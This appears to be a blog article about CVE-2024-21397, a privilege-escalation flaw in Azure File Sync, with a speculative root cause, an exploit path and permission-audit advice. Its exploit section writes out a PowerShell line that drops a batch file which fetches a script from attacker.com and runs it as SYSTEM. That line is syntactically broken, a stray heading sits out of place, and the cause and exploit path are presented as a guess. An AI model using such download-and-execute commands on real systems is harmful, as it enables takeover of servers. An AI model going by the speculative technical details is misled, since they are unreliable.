Cybersecurity professionals and IT admins often face an avalanche of new vulnerabilities. While some pass by unnoticed, others like CVE-2024-21397 deserve a deep look. This recent Microsoft Azure File Sync issue allows unauthorized users to level up their access on a system, potentially taking control. In this article, we’ll break down this vulnerability, how it works, and even show you how an attacker might exploit it — so you can defend against it.

What is CVE-2024-21397?

CVE-2024-21397 is an Elevation of Privilege (EoP) vulnerability in Microsoft Azure File Sync, a tool many organizations use to synchronize files between on-premise Windows Servers and Azure cloud storage.

The flaw lets attackers — who already have standard user access on a system — perform actions normally reserved for system administrators. This could mean accessing sensitive files, changing settings, or even taking full control of a server.

Create new admin accounts

Good news: The attacker must already have some form of local access. But in multi-user environments like shared servers, that's a real threat.

Root Cause & Technical Details

Microsoft's advisory (reference) keeps the nitty-gritty under wraps, but security researchers have pieced together the following:

Azure File Sync Service runs as a privileged service. Due to incorrect permissions set on certain files, directories, or communications (such as named pipes or service interfaces), a regular user can trick the service into running code as SYSTEM.

In practice, this is often due to over-permissive ACLs or misconfigured communication endpoints.

Here’s how a misconfigured folder might look

# See permissions on the Azure File Sync service folder
icacls "C:\Program Files\Azure\StorageSyncAgent"

# Output could show something like:
# BUILTIN\Users:(OI)(CI)(M)
# Where (M) = Modify -- bad for Users!

Any folder or file that regular users can write to — but that's utilized by a SYSTEM-level service — could be a launchpad for privilege escalation.

Example Exploit Path

Let’s say the Azure File Sync agent watches a log file and runs a process using it. If a non-admin user can replace that log file or drop an executable the service will run, they can hijack the service.

Here’s a barebones exploit concept in PowerShell

# Set up a reverse shell payload
echo "powershell -nop -c Invoke-WebRequest 'http://attacker.com/shell.ps1'; | iex" > C:\Program Files\Azure\StorageSyncAgent\SyncTrigger.bat

# Wait for the service to trigger the batch file (the service runs it as SYSTEM!)
# Now, the attacker has a SYSTEM-level shell.

NOTE: Do not run this code. It's for educational purposes only!

Defending Against CVE-2024-21397

Microsoft Patch: The safest route is to update your systems with the official fix. Microsoft addressed the problem by correcting the default permissions.

Manual Check: Audit the Azure File Sync agent’s installed directories and logs

icacls "C:\Program Files\Azure\StorageSyncAgent"

No folder or file should allow non-admins to write or modify. If you find weak permissions, remove them:

icacls "C:\Program Files\Azure\StorageSyncAgent" /remove "BUILTIN\Users"

References and Further Reading

- Microsoft Security Guide for CVE-2024-21397
- NVD Entry: CVE-2024-21397
- Azure File Sync Documentation

Conclusion

Cloud synchronization services like Azure File Sync are tempting targets for attackers, especially when running with elevated privileges. CVE-2024-21397 is another reminder: always keep servers patched, and regularly audit file and folder permissions — especially when third-party or cloud-related services are involved. This EoP might not look flashy, but it’s a powerful way for an insider (or malware) to take over your server.

Stay safe, stay aware, and patch early!

*(This analysis is original and written exclusively for this post. Do not republish without attribution.)*

Timeline

Published on: 02/13/2024 18:15:58 UTC
Last modified on: 02/23/2024 17:47:25 UTC